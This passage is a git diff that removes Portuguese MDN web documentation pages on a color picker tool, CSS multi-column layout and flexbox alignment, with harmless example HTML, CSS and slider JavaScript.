-<p>Esta ferramenta vai ajudá-lo a identificar as cores perfeitas para o CSS do seu <a href="/pt-PT/docs/Web/HTML">HTML</a>.</p>
-
-<p>{{ EmbedLiveSample('ColorPicker_Tool', '100%', '900') }}</p>
-
-<p>As cores que gerou em cima podem ser usadas em qualquer sítio que estaria uma cor em CSS e/ou HTML, salvo indicação em contrário.</p>
-
-<h2 id="See_also">See also</h2>
-
-<p>Para mais informações sobre cores, consulte estes artigos:</p>
-
-<ul>
- <li><a href="/pt-PT/docs/Web/HTML/Aplicar_cor_elementos_HTML_utilizando_CSS">Aplicar cor aos elementos HTML com CSS</a></li>
- <li><a href="/en-US/docs/Learn/CSS/Styling_text/Fundamentals">Fundamentos de estilização de texto e tipos de letra</a></li>
- <li><a href="/en-US/docs/Learn/CSS/Styling_boxes/Borders">Estilizar contornos com CSS</a></li>
- <li><a href="/en-US/docs/Learn/CSS/Styling_boxes/Backgrounds">Mudar estilo do fundo com CSS</a></li>
- <li><a href="/en-US/docs/Learn/Accessibility/CSS_and_JavaScript#Color_and_color_contrast">Cor e contraste</a></li>
-</ul>
-
-<p> </p>
-
-<ul>
- <li> </li>
-</ul>
diff --git a/files/pt-pt/web/css/css_columns/index.html b/files/pt-pt/web/css/css_columns/index.html
deleted file mode 100644
index 6a356077b5..0000000000
--- a/files/pt-pt/web/css/css_columns/index.html
+++ /dev/null
@@ -1,240 +0,0 @@
----
-title: CSS Multi-column Layout
-slug: Web/CSS/CSS_Columns
-tags:
- - CSS
- - CSS Multi-column Layout
- - Layout
- - NeedsTranslation
- - Overview
- - Reference
- - TopicStub
-translation_of: Web/CSS/CSS_Columns
----
-<div>{{CSSRef("CSS3 Multicol")}}</div>
-
-<p>The <strong>CSS Multi-column Layout</strong> standard is a CSS module that adds support for multi-column layouts to CSS. This module makes it easier and more reliable than ever to produce columnar layouts without having to hand-code complicated and fragile structures. Support is included for establishing the number of columns in a layout, as well as how content should flow from column to column, gap sizes, column dividing lines (known as column rules), and so forth.</p>
-
-<h2 id="Multi-column_layout_basics">Multi-column layout basics</h2>
-
-<p>The three key properties used to produce the layout of columns in CSS are {{cssxref("column-count")}}, {{cssxref("column-width")}}, and {{cssxref("column-gap")}}. Other properties provide ways to fine-tune details of how things are organized and rendered within the layout structure built using those properties, but the job of figuring out what goes where is generally handled by these four.</p>
-
-<h3 id="Suggesting_the_number_of_columns_and_their_widths">Suggesting the number of columns and their widths</h3>
-
-<p>The first two properties, <code>column-count</code> and <code>column-width</code>, are both the most important and the most potentially misleading. It's important to understand that:</p>
-
-<ul>
- <li>The {{cssxref("column-count")}} property specifies a <em>maximum</em> number of columns to use to render the text. The browser will consider the amount of horizontal space available, the value of <code>column-width</code>, and the value of <code>column-gap</code>, then draw the largest number of columns across that it can fit into the available space.</li>
- <li>The {{cssxref("column-width")}} property specifies a <em>minimum</em> column width, given a {{cssxref("length")}} value. Each column the browser creates will be at least this wide, but may be wider. After determining the number of columns that it will draw, any remaining horizontal space may be divided up by the browser among the columns  and added to their widths.</li>
-</ul>
-
-<p>In a way, then, they're more like recommendations than hard and fast rules. And this makes sense once you consider the logic of it; this allows multi-column layouts to be responsive and adaptive to the screen width, while also supporting the overall layout of the page and the intent of the author. As the width of the containing space (or the screen) shrinks, the browser will reduce the number of columns it creates, adjusting the remaining columns' widths to ensure that the overall width is as expected.</p>
-
-<p>The other thing you can control is the distance between the columns, known as the column gap. The column gap can be controlled using the {{cssxref("column-gap")}} property. By convention, the default gap is <code>1em</code>, but this may or may not be the case in any given browser, so if it matters to you, explicitly set it. The column  gap, unlike the column count and width, doesn't get adjusted by the browser as it tries to fit the content into the available space.</p>
-
-<p>Take a look at the example below, in which you can use the range control at the top to adjust the width of the columns' containing element.</p>
-
-<div class="hidden">
-<h4 id="HTML">HTML</h4>
-
-<pre class="brush: html">&lt;p&gt;
- Use the slider to change the container width:
-&lt;/p&gt;
-&lt;div class="controls"&gt;
- &lt;input type="range" id="widthSlider" min="350" max="625"&gt;
- &lt;span id="widthDisplay"&gt;&lt;/span&gt;
-&lt;/div&gt;
-&lt;div class="columnbox"&gt;
-&lt;p&gt;
- Lorem ipsum dolor sit amet, consectetur adipiscing elit.
- Praesent dignissim feugiat tellus, vitae vehicula nunc
- fermentum at. Nulla ut leo tincidunt turpis tincidunt
- facilisis vel sit amet nisl. Duis odio mauris, ornare vitae
- est eget, molestie aliquet quam. Quisque sed lacus sodales
- nulla dignissim semper. Mauris finibus erat ut molestie
- sagittis. Maecenas eget augue dapibus eros mollis
- consectetur quis a mauris. Ut quis ipsum egestas, molestie
- augue id, lobortis neque. Sed malesuada id justo nec
- accumsan. Curabitur non tempus ligula, ut congue libero.
- Morbi mattis, neque at feugiat rutrum, ipsum massa iaculis
- risus, ut rutrum justo purus et urna. Aenean semper ornare
- enim, maximus tincidunt ante tincidunt sed. Fusce imperdiet
- id tellus molestie laoreet.
-&lt;/p&gt;
-&lt;p&gt;
- Sed non fringilla turpis, ac fermentum neque. Nunc tortor
- sapien, convallis in odio dictum, maximus hendrerit metus.
- Phasellus vitae molestie lacus, sed imperdiet enim. Praesent
- tempus ligula eget orci interdum, et tempus nunc rutrum.
- Cras vel arcu non ipsum sodales faucibus vestibulum eu mi.
- Fusce sed laoreet turpis, eu rutrum leo. Vestibulum sit amet
- porta mauris. Curabitur in nisi a neque ultricies iaculis
- sit amet vel felis. Suspendisse lobortis iaculis gravida. Ut
- bibendum vestibulum lacus eget dignissim.
-&lt;/p&gt;
-&lt;/div&gt;</pre>
-
-<h4 id="JavaScript">JavaScript</h4>
-
-<pre class="brush: js">let widthSlider = document.getElementById("widthSlider");
-let widthDisplay = document.getElementById("widthDisplay");
-let columnBox = document.querySelector(".columnbox");
-
-widthSlider.value = columnBox.offsetWidth;
-widthDisplay.innerText = widthSlider.value;
-
-widthSlider.addEventListener("input", function(event) {
- columnBox.style.width = widthSlider.value.toString() + "px";
- widthDisplay.innerText = widthSlider.value;
-}, false);</pre>
-
-<h4 id="CSS">CSS</h4>
-
-<pre class="brush: css">body {
-  font: 16px "Open Sans", "Arial", "sans-serif";
-}
-
-.columnbox {
- width: 400px;
- column-count: 3;
- column-width: 12em;
- border: 1px dotted black;
-}
-
-.columnbox p:first-child {
- margin-top: 0;
-}
-
-.controls {
- font: 16px "Open Sans", "Arial", sans-serif;
-}</pre>
-
-<h4 id="Result">Result</h4>
-</div>
-
-<p>{{EmbedLiveSample("Suggesting_the_number_of_columns_and_their_widths", 650, 800)}}</p>
-
-<h3 id="Text_wrapping_in_multi-column_layouts">Text wrapping in multi-column layouts</h3>
-
-<p>The {{cssxref("column-fill")}} property also affects layout. By default, the browser will create as many appropriately-sized columns as it can, then balance the contents across them so that each column is approximately the same length. If, however, you prefer to have the browser fill the first column to its maximum height before moving on to the next column, you can set <code>column-fill</code> to <code>auto</code> (instead of the default, <code>balance</code>).</p>
-
-<p>If there is no constraint on the column height, however, there will only be one column created, as it will never reach its maximum height to trigger wrapping to the second column, so be sure to either place your columns inside a container which constrains their height, either by using {{cssxref("height")}} or {{cssxref("max-height")}}.</p>
-
-<div class="note">
-<p>While the CSS specification defines the {{cssxref("break-before")}}, {{cssxref("break-after")}}, and {{cssxref("break-inside")}} properties to help control wrapping of elements across region, column, or page boundaries, these properties are generally not implemented widely enough to use in real-world code at this time.</p>
-</div>
-
-<h3 id="Column_appearance">Column appearance</h3>
-
-<p>You can specify that a column rule—a dividing line drawn in the center of each column gap—be drawn between each column in the rendered output of your layout by using the {{cssxref("column-rule-style")}}, {{cssxref("column-rule-width")}}, and {{cssxref("column-rule-color")}} properties, or the shorthand property {{cssxref("column-rule")}}.</p>
-
-<h2 id="Reference">Reference</h2>
-
-<h3 id="CSS_properties">CSS properties</h3>
-
-<div class="index">
-<ul>
- <li>{{cssxref("break-after")}}</li>
- <li>{{cssxref("break-before")}}</li>
- <li>{{cssxref("break-inside")}}</li>
- <li>{{cssxref("column-count")}}</li>
- <li>{{cssxref("column-fill")}}</li>
- <li>{{cssxref("column-gap")}}</li>
- <li>{{cssxref("column-rule")}}</li>
- <li>{{cssxref("column-rule-color")}}</li>
- <li>{{cssxref("column-rule-style")}}</li>
- <li>{{cssxref("column-rule-width")}}</li>
- <li>{{cssxref("column-span")}}</li>
- <li>{{cssxref("column-width")}}</li>
- <li>{{cssxref("columns")}}</li>
-</ul>
-</div>
-
-<h2 id="Guides">Guides</h2>
-
-<dl>
- <dt><a href="/en-US/docs/Web/CSS/CSS_Columns/Using_multi-column_layouts">Using CSS multi-column layouts</a></dt>
- <dd>Step-by-step tutorial about how to build layouts using several columns.</dd>
-</dl>
-
-<h2 id="Specifications">Specifications</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Specification</th>
- <th scope="col">Status</th>
- <th scope="col">Comment</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{SpecName('CSS3 Multicol')}}</td>
- <td>{{Spec2('CSS3 Multicol')}}</td>
- <td>Initial definition</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Browser_compatibility">Browser compatibility</h2>
-
-<p>{{CompatibilityTable}}</p>
-
-<div id="compat-desktop">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Feature</th>
- <th>Chrome</th>
- <th>Firefox (Gecko)</th>
- <th>Internet Explorer</th>
- <th>Opera</th>
- <th>Safari (WebKit)</th>
- </tr>
- <tr>
- <td>Basic support</td>
- <td>{{CompatVersionUnknown}} {{property_prefix('-webkit')}}</td>
- <td>{{CompatGeckoDesktop(9)}}{{property_prefix('-moz')}}<br>
- {{CompatGeckoDesktop(52)}}</td>
- <td>10</td>
- <td>11.10<br>
- 15{{property_prefix('-webkit')}}</td>
- <td>3.0 (522){{property_prefix('-webkit')}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<div id="compat-mobile">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Feature</th>
- <th>Android</th>
- <th>Firefox Mobile (Gecko)</th>
- <th>IE Phone</th>
- <th>Opera Mobile</th>
- <th>Safari Mobile</th>
- </tr>
- <tr>
- <td>Basic support</td>
- <td>2.1{{property_prefix('-webkit')}}</td>
- <td>{{compatGeckoMobile(22)}}{{property_prefix('-moz')}}<br>
- {{CompatGeckoMobile(52)}}</td>
- <td>10</td>
- <td>11.5<br>
- 32{{property_prefix('-webkit')}}</td>
- <td>3.2{{property_prefix('-webkit')}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<h2 id="See_also">See also</h2>
-
-<p>Other CSS layout technologies include:</p>
-
-<ul>
- <li><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout">CSS Flexible box layout</a> (CSS flexbox)</li>
- <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS Grid layout</a></li>
-</ul>
diff --git a/files/pt-pt/web/css/css_flexible_box_layout/aligning_items_in_a_flex_container/index.html b/files/pt-pt/web/css/css_flexible_box_layout/aligning_items_in_a_flex_container/index.html
deleted file mode 100644
index 2c778a9dd6..0000000000
--- a/files/pt-pt/web/css/css_flexible_box_layout/aligning_items_in_a_flex_container/index.html
+++ /dev/null
@@ -1,216 +0,0 @@
----
-title: Alinhamento de Itens num Recipiente Flex
-slug: Web/CSS/CSS_Flexible_Box_Layout/Aligning_Items_in_a_Flex_Container
-tags:
- - Alinhar
- - CSS
- - Flex
- - Guía
- - align-content
- - align-items
- - align-self
- - alinhamento
- - flexbox
- - justificar
- - justify-content
-translation_of: Web/CSS/CSS_Flexible_Box_Layout/Aligning_Items_in_a_Flex_Container
-original_slug: Web/CSS/CSS_Flexible_Box_Layout/alinhamento_de_itens_num_recipiente_flex
----
-<p>{{CSSRef}}</p>
-
-<p class="summary">Uma das razões pelas quais o flexbox atraiu rapidamente o interesse dos programadores da Web é que este trouxe os melhores recursos de alinhamento para a Web, pela primeira vez. Este permitiu o alinhamento vertical adequado, e assim nós podemos finalmente, centrar uma caixa facilmente. Neste guia, Nós iremos analisar detalhadamente como as propriedades de alinhamento e justificação funcionam no Flexbox.</p>
-
-<p>Para centrar a nossa caixa, nós utilizamos a propriedade <code>align-items</code> para alinhar o nosso item no eixo transversal, que neste caso é o eixo do bloco na vertical. Nós utilizamos o <code>justify-content</code> para alinhar o item no eixo principal, que neste caso é o eixo horizontal.</p>
-
-<p><img alt="A containing element with another box centered inside it." src="https://mdn.mozillademos.org/files/15627/align1.png" style="display: block; height: 357px; margin: 0px auto; width: 616px;"></p>
-
-<p> </p>
-
-<p>Podem ver o código do exemplo abaixo. Muda o tamanho do <em>container</em> ou do elemento aninhado e o elemento aninhado permanecerá centrado.</p>
-
-<p>{{EmbedGHLiveSample("css-examples/flexbox/alignment/intro.html", '100%', 700)}}</p>
-
-<h2 id="Propriedades_que_controlam_o_alinhamento">Propriedades que controlam o alinhamento</h2>
-
-<p>As propriedades que nós iremos ver neste guia são as seguintes:</p>
-
-<ul>
- <li>{{cssxref("justify-content")}} — controla o alinhamento de todos os itens no eixo principal.</li>
- <li>{{cssxref("align-items")}} — controla o alinhamento de todos os itens no eixo transversal.</li>
- <li>{{cssxref("align-self")}} — controla o alinhamento de um item <em>flex </em>individual no eixo transversal.</li>
- <li>{{cssxref("align-content")}} — descrito na especificação como para “empacotar linhas do <em>flex</em>”; controla o espaço entre as linhas do <em>flex</em> no eixo das coordenadas.</li>
-</ul>
-
-<p>Vamos também descobrir como as margens automáticas podem ser utilizadas para alinhamento em <em>flexbox</em>.</p>
-
-<div class="note">
-<p><strong>Nota</strong>: As propriedades de alinhamento em <em>Flexbox</em> foram colocadas na sua própria especificação — <a href="https://www.w3.org/TR/css-align-3/">CSS Box Alignment Level 3</a>. É expectável que esta especificação irá enfim substituir as propriedades definidas em <em>Flexbox Level One</em>.</p>
-</div>
-
-<h2 id="O_Eixo_Transversal">O Eixo Transversal</h2>
-
-<p>As propriedades <code>align-items</code> e <code>align-self</code> controlam o alinhamento dos nossos itens da <em>flex</em> no eixo transversal, pelas colunas se a <code>flex-direction</code> for <code>row</code> e ao longo da linha se a <code>flex-direction</code> for <code>column</code>.</p>
-
-<p>Estamos a dar uso do alinhamento no eixo transversalno exemplo mais fácil do <em>flex</em>. Se adicionarmos <code>display: flex</code> a um <em>container</em>, os sub-elementos tornarão-se todos itens da <em>flex</em> numa linha. Irão esticar-se para serem tão altos quanto o item mais alto, já que esse item está a definir a altura dos itens do eixo transversal. Se o teu <em>flex container</em> tiver uma altura definida, então os itens irão esticar até essa altura, independentemente de quanto conteúdo estiver no item.</p>
-
-<p><img alt="Three items, one with additional text causing it to be taller than the others." src="https://mdn.mozillademos.org/files/15628/align2.png" style="display: block; height: 131px; margin: 0px auto; width: 509px;"></p>
-
-<p><img alt="Three items stretched to 200 pixels tall" src="https://mdn.mozillademos.org/files/15629/align3.png" style="display: block; height: 207px; margin: 0px auto; width: 637px;"></p>
-
-<p>A razão pela qual os items ficam da mesma altura é porque o valor inicial do <code>align-items</code>, a propriedade que controla o alinhamento no eixo transversal, está definida para <code>stretch</code>.</p>
-
-<p>Podemos utilizar outros valores para controlar de que forma os itens se alinham:</p>
-
-<ul>
- <li><code>align-items: flex-start</code></li>
- <li><code>align-items: flex-end</code></li>
- <li><code>align-items: center</code></li>
- <li><code>align-items: stretch</code></li>
- <li><code>align-items: baseline</code></li>
-</ul>
-
-<p>No exemplo de baixo, o valor do <code>align-items</code> é <code>stretch</code>. Experimenta os outros valores e observa como todos os itens se alinham em relação aos outros no <em>flex container</em>.</p>
-
-<p>{{EmbedGHLiveSample("css-examples/flexbox/alignment/align-items.html", '100%', 520)}} </p>
-
-<h3 id="Alinhar_um_item_com_align-self">Alinhar um item com <em><code>align-self</code></em></h3>
-
-<p>A propriedade <code>align-items</code> define a propriedade <code>align-self</code> em todos os itens da <em>flex </em>como um grupo. Isto significa que tu podes explicitamente declarar a propriedade <code>align-self</code> para visar um único item. A propriedade <code>align-self</code> aceita todos os valores da <code>align-items</code> , mais o valor  <code>auto</code>, que irá dar <em>reset</em> ao valor definido na <em>flex container</em>.</p>
-
-<p>Neste próximo exemplo, o <em>flex container</em> tem <code>align-items: flex-start</code>, o que significa que os itens estão todos alinhados com o início do eixo transversal. Eu visei o primeiro item utilizado um <code>first-child</code> e defini esse item para <code>align-items: stretch</code>; outro item foi selecionado utilizando a sua classe de <code>selected</code> e foi-lhe dado <code>align-items: </code><code>center</code>. Podes alterar o valor do <code>align-items</code> ou os valores do <code>align-self</code> em itens individuais para veres como funciona.</p>
-
-<p>{{EmbedGHLiveSample("css-examples/flexbox/alignment/align-self.html", '100%', 650)}} </p>
-
-<h3 id="Alteração_do_eixo_principal">Alteração do eixo principal</h3>
-
-<p>Até agora observámos o comportamento quando o nosso <code>flex-direction</code> é <code>row</code>, enquanto trabalhamos numa linguagem escrita de cima a baixo. Isto significa que o eixo principal "corre" horizontalmente, e o alinhamento do nosso eixo transversal muda os itens para cima e para baixo.</p>
-
-<p><img alt="Three items, the first aligned to flex-start, second to center, third to flex-end. Aligning on the vertical axis." src="https://mdn.mozillademos.org/files/15630/align4.png" style="display: block; height: 204px; margin: 0px auto; width: 671px;"></p>
-
-<p>Se nós mudarmos o nosso <code>flex-direction</code> para <code>column</code>, o <code>align-items</code> e o <code>align-self</code> irão alinhar os itens para a esquerda e para a direita.</p>
-
-<p><img alt="Three items, the first aligned to flex-start, second to center, third to flex-end. Aligning on the horizontal axis." src="https://mdn.mozillademos.org/files/15631/align5.png" style="display: block; height: 239px; margin: 0px auto; width: 687px;"></p>
-
-<p>Podes testar isto no exemplo abaixo, que tem um <em>flex container</em> com <code>flex-direction: column</code> mas de resto, é exatamente igual ao exemplo anterior.</p>
-
-<p>{{EmbedGHLiveSample("css-examples/flexbox/alignment/align-self-column.html", '100%', 730)}} </p>
-
-<h2 id="Alinhar_conteúdo_no_eixo_transversal_—_a_propriedade_align-content">Alinhar conteúdo no eixo transversal — a propriedade <em>align-content</em></h2>
-
-<p>Até agora temos estado a alinhar os itens, ou um item individual, dentro da área definida pelo <em>flex-container</em>. Se tu tiveres um <em>wrapped multiple-line flex container</em> então também poderás querer utilizar a propriedade <code>align-content</code> para controlar a distribuição do espaço entrelinhas. Na especificação isto é descrito como <a href="https://drafts.csswg.org/css-flexbox/#align-content-property">empacotar as linhas do <em>flex</em></a>.</p>
-
-<p>Para o <code>align-content</code> funcionar, precisarás de mais altura no teu <em>flex container</em> do que é necessário para mostrar os itens. Irá então afetar todos os itens como um conjunto, e ditará o que irá acontecer com esse espaço livre, e o alinhamento do conjunto inteiro de itens dentro dele.</p>
-
-<p>A propriedade <code>align-content</code> aceita os seguintes valores:</p>
-
-<ul>
- <li><code>align-content: flex-start</code></li>
- <li><code>align-content: flex-end</code></li>
- <li><code>align-content: center</code></li>
- <li><code>align-content: space-between</code></li>
- <li><code>align-content: space-around</code></li>
- <li><code>align-content: stretch</code></li>
- <li><code>align-content: space-evenly</code> (não definido na especificação da <em>Flexbox</em>)</li>
-</ul>
-
-<p>No exemplo abaixo, o <em>flex container</em> tem uma altura de 400 pixels, o que é mais do que necessário para mostrar os nossos itens. O valor do <code>align-content</code> é <code>space-between</code>, o que significa que o espaço disponível é partilhado entre as linhas da <em>flex</em>, que está posicionada nívelado com o início e o fim do <em>container</em> no eixo transversal.</p>
-
-<p>Experimenta os outros valores para veres como a propriedade <code>align-content</code> funciona.</p>
-
-<p>{{EmbedGHLiveSample("css-examples/flexbox/alignment/align-content.html", '100%', 850)}} </p>
-
-<p>Mais uma vez podemos alterar o nosso <code>flex-direction</code> para <code>column</code> de forma a observar como esta propriedade se comporta quando estamos a trabalhar por coluna. Tal como anteriormente, precisamos de espaço suficiente no eixo transversal para ter algum espaço livre depois de mostrar todos os itens.</p>
-
-<p>{{EmbedGHLiveSample("css-examples/flexbox/alignment/align-content-column.html", '100%', 860)}} </p>
-
-<div class="note">
-<p><strong>Nota</strong>: o valor <code>space-evenly</code> não está definido na especificação da <em>flexbox</em> e será uma adição posterior à especificação do Alinhamento da Caixa. O suporte dos navegadores para este valor não é tão bom quanto o suporte para os valore definidos na especificação da <em>flexbox</em>.</p>
-</div>
-
-<p>Lê a <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/justify-content">documentação para o <code>justify-content</code> no MDN</a> para mais detalhes sobre todos estes valores, e o seu suporte em navegadores.</p>
-
-<h2 id="Alinhar_conteúdo_no_eixo_principal">Alinhar conteúdo no eixo principal</h2>
-
-<p>Agora que já vimos como o alinhamento funciona no eixo transversal, podemos dar uma olhada no eixo principal. Aqui temos apenas uma propriedade disponível — <code>justify-content</code>. Isto é porque apenas estaremos a lidar como itens como se fossem um grupo no eixo principal. Com o <code>justify-content</code> we control what happens with available space, should there be more space than is needed to display the items.</p>
-
-<p>In our initial example with <code>display: flex</code> on the container, the items display as a row and all line up at the start of the container. This is due to the initial value of <code>justify-content</code> being <code>flex-start</code>. Any available space is placed at the end of the items.</p>
-
-<p><img alt="Three items, each 100 pixels wide in a 500 pixel container. The available space is at the end of the items." src="https://mdn.mozillademos.org/files/15632/align6.png" style="display: block; height: 198px; margin: 0px auto; width: 528px;"></p>
-
-<p>The <code>justify-content</code> property accepts the same values as <code>align-content</code>.</p>
-
-<ul>
- <li><code>align-content: flex-start</code></li>
- <li><code>align-content: flex-end</code></li>
- <li><code>align-content: center</code></li>
- <li><code>align-content: space-between</code></li>
- <li><code>align-content: space-around</code></li>
- <li><code>align-content: stretch</code></li>
- <li><code>align-content: space-evenly</code> (not defined in the Flexbox specification)</li>
-</ul>
-
-<p>In the example below, the value of <code>justify-content</code> is <code>space-between</code>. The available space after displaying the items is distributed between the items. The left and right item line up flush with the start and end.</p>
-
-<p>{{EmbedGHLiveSample("css-examples/flexbox/alignment/justify-content.html", '100%', 480)}} </p>
-
-<p>If the main axis is in the block direction because <code>flex-direction</code> is set to <code>column</code>, then <code>justify-content</code> will distribute space between items in that dimension as long as there is space in the flex container to distribute.</p>
-
-<p>{{EmbedGHLiveSample("css-examples/flexbox/alignment/justify-content-column.html", '100%', 880)}} </p>
-
-<h3 id="Modos_de_Alinhamento_e_Gravação">Modos de Alinhamento e Gravação</h3>
-
-<p>Remember that with all of these alignment methods, the values of <code>flex-start</code> and <code>flex-end</code> are writing mode-aware. If the value of <code>justify-content</code> is <code>start</code> and the writing mode is left-to-right as in English, the items will line up starting at the left side of the container.</p>
-
-<p><img alt="Three items lined up on the left" src="https://mdn.mozillademos.org/files/15638/Basics5.png" style="display: block; height: 152px; margin: 0px auto; width: 631px;"></p>
-
-<p>However if the writing mode is right-to-left as in Arabic, the items will line up starting at the right side of the container.</p>
-
-<p><img alt="Three items lined up from the right" src="https://mdn.mozillademos.org/files/15639/Basics6.png" style="display: block; height: 152px; margin: 0px auto; width: 634px;"></p>
-
-<p>The live example below has the <code>direction</code> property set to <code>rtl</code> to force a right-to-left flow for our items. You can remove this, or change the values of <code>justify-content</code> to see how flexbox behaves when the start of the inline direction is on the right.</p>
-
-<p>{{EmbedGHLiveSample("css-examples/flexbox/alignment/justify-content-writing-mode.html", '100%', 440)}} </p>
-
-<h2 id="Alinhamento_e_flex-direction">Alinhamento e <em>flex-direction</em></h2>
-
-<p>The start line will also change if you change the <code>flex-direction</code> property — for example using <code>row-reverse</code> instead of <code>row</code>.</p>
-
-<p>In this next example I have items laid out with <code>flex-direction: row-reverse</code> and <code>justify-content: flex-end</code>. In a left to right language the items all line up on the left. Try changing <code>flex-direction: row-reverse</code> to <code>flex-direction: row</code>. You will see that the items now move to the right hand side.</p>
-
-<p>{{EmbedGHLiveSample("css-examples/flexbox/alignment/justify-content-reverse.html", '100%', 440)}} </p>
-
-<p>While this may all seem a little confusing, the rule to remember is that unless you do something to change it, flex items lay themselves out in the direction that words are laid out in the language of your document along the inline, row axis. <code>flex-start</code> will be where the start of a sentence of text would begin.</p>
-
-<p><img alt="Diagram showing start on the left and end on the right." src="https://mdn.mozillademos.org/files/15634/align8.png" style="display: block; height: 152px; margin: 0px auto; width: 631px;"></p>
-
-<p>You can switch them to display in the block direction for the language of your document by selecting <code>flex-direction: column</code>. Then <code>flex-start</code> will then be where the top of your first paragraph of text would start.</p>
-
-<p><img alt="Diagram showing start and the top and end at the bottom." src="https://mdn.mozillademos.org/files/15636/align10.png" style="display: block; height: 273px; margin: 0px auto; width: 709px;"></p>
-
-<p>If you change flex-direction to one of the reverse values, then they will lay themselves out from the end axis and in the reverse order to the way words are written in the language of your document. <code>flex-start</code> will then change to the end of that axis — so to the location where your lines would wrap if working in rows, or at the end of your last paragraph of text in the block direction.</p>
-
-<p><img alt="Diagram showing start on the right and end on the left." src="https://mdn.mozillademos.org/files/15635/align9.png" style="display: block; height: 152px; margin: 0px auto; width: 631px;"></p>
-
-<p><img alt="Diagram showing end at the top and start at the bottom" src="https://mdn.mozillademos.org/files/15637/align11.png" style="display: block; height: 273px; margin: 0px auto; width: 709px;"></p>
-
-<h2 id="Utilização_de_margen_automáticas_para_o_alinhamento_do_eixo_principal">Utilização de margen automáticas para o alinhamento do eixo principal</h2>
-
-<p>We don’t have a <code>justify-items</code> or <code>justify-self</code> property available to us on the main axis as our items are treated as a group on that axis. However it is possible to do some individual alignment in order to separate an item or a group of items from others by using auto margins along with flexbox.</p>
-
-<p>A common pattern is a navigation bar where some key items are aligned to the right, with the main group on the left. You might think that this should be a use case for a <code>justify-self</code> property, however consider the image below. I have three items on one side and two on the other. If I were able to use <code>justify-self</code> on item <em>d</em>, it would also change the alignment of item <em>e</em> that follows, which may or may not be my intention.</p>
-
-<p><img alt="Five items, in two groups. Three on the left and two on the right." src="https://mdn.mozillademos.org/files/15633/align7.png" style="display: block; height: 84px; margin: 0px auto; width: 645px;"></p>
-
-<p>Instead we can target item 4 and separate it from the first three items by giving it a <code>margin-left</code> value of <code>auto</code>. Auto margins will take up all of the space that they can in their axis — it is how entering a block with margin auto left and right works. Each side tries to take as much space as it can, and so the block is pushed into the middle.</p>
-
-<p>In this live example, I have flex items arranged simply into a row with the basic flex values, and the class <code>push</code> has <code>margin-left: auto</code>. You can try removing this, or adding the class to another item to see how it works.</p>
-
-<p>{{EmbedGHLiveSample("css-examples/flexbox/alignment/auto-margins.html", '100%', 470)}} </p>
-
-<h2 id="Funcionalidades_de_alinhamento_futuras_para_o_Flexbox">Funcionalidades de alinhamento futuras para o Flexbox</h2>
-
-<p>At the beginning of this article I explained that the alignment properties currently contained in the Level 1 flexbox specification are also included in Box Alignment Level 3, which may well extend these properties and values in the future. We have already seen one place where this has happened, with the introduction of the <code>space-evenly</code> value for <code>align-content</code> and <code>justify-content</code> properties.</p>
-
-<p>The Box Alignment module also includes other methods of creating space between items, such as the <code>column-gap</code> and <code>row-gap</code> feature as seen in <a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout</a>. The inclusion of these properties in Box Alignment means that in future we should be able to use <code>column-gap</code> and <code>row-gap</code> in flex layouts too. This will mean you won’t need to use margins to space out flex items.</p>
-
-<p>My suggestion when exploring flexbox alignment in depth is to do so alongside looking at alignment in Grid Layout. Both specifications use the alignment properties as detailed in the Box Alignment specification. You can see how these properties behave when working with a grid in the MDN article <a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Box Alignment in Grid Layout</a>, and I have also compared how alignment works in these specifications in my <a href="https://rachelandrew.co.uk/css/cheatsheets/box-alignment">Box Alignment Cheatsheet</a>.</p>
diff --git a/files/pt-pt/web/css/css_flexible_box_layout/index.html b/files/pt-pt/web/css/css_flexible_box_layout/index.html
deleted file mode 100644
index ec5c17b62e..0000000000
--- a/files/pt-pt/web/css/css_flexible_box_layout/index.html
+++ /dev/null
@@ -1,155 +0,0 @@
----
-title: CSS Flexible Box Layout
-slug: Web/CSS/CSS_Flexible_Box_Layout
-tags:
- - CSS
- - CSS Flexible Boxes
- - NeedsTranslation
- - Overview
- - Reference
- - TopicStub
-translation_of: Web/CSS/CSS_Flexible_Box_Layout
----
-<div>{{CSSRef}}</div>
-
-<p class="summary"><strong>CSS Flexible Box Layout</strong> is a module of <a href="/en-US/docs/Web/CSS">CSS</a> that defines a CSS box model optimized for user interface design, and the layout of items in one dimension. In the flex layout model, the children of a flex container can be laid out in any direction, and can “flex” their sizes, either growing to fill unused space or shrinking to avoid overflowing the parent. Both horizontal and vertical alignment of the children can be easily manipulated.</p>
-
-<h2 id="Basic_Example">Basic Example</h2>
-
-<p>In the following example a container has been set to <code>display: flex</code>, which means that the three child items become flex items. The value of <code>justify-content</code> has been set to <code>space-between</code> in order to space the items out evenly on the main axis. An equal amount of space is placed between each item with the left and right items being flush with the edges of the flex container. You can also see that the items are stretching on the cross axis, due to the default value of <code>align-items </code>being <code>stretch</code>. The items stretch to the height of the flex container, making them each appear as tall as the tallest item.</p>
-
-<p>{{EmbedGHLiveSample("css-examples/flexbox/basics/simple-example.html", '100%', 500)}}</p>
-
-<h2 id="Reference">Reference</h2>
-
-<h3 id="CSS_Properties">CSS Properties</h3>
-
-<div class="index">
-<ul>
- <li>{{cssxref("align-content")}}</li>
- <li>{{cssxref("align-items")}}</li>
- <li>{{cssxref("align-self")}}</li>
- <li>{{cssxref("flex")}}</li>
- <li>{{cssxref("flex-basis")}}</li>
- <li>{{cssxref("flex-direction")}}</li>
- <li>{{cssxref("flex-flow")}}</li>
- <li>{{cssxref("flex-grow")}}</li>
- <li>{{cssxref("flex-shrink")}}</li>
- <li>{{cssxref("flex-wrap")}}</li>
- <li>{{cssxref("justify-content")}}</li>
- <li>{{cssxref("order")}}</li>
-</ul>
-</div>
-
-<h3 id="Glossary_entries">Glossary entries</h3>
-
-<div class="index">
-<ul>
- <li><a href="/en-US/docs/Glossary/Flexbox">Flexbox</a></li>
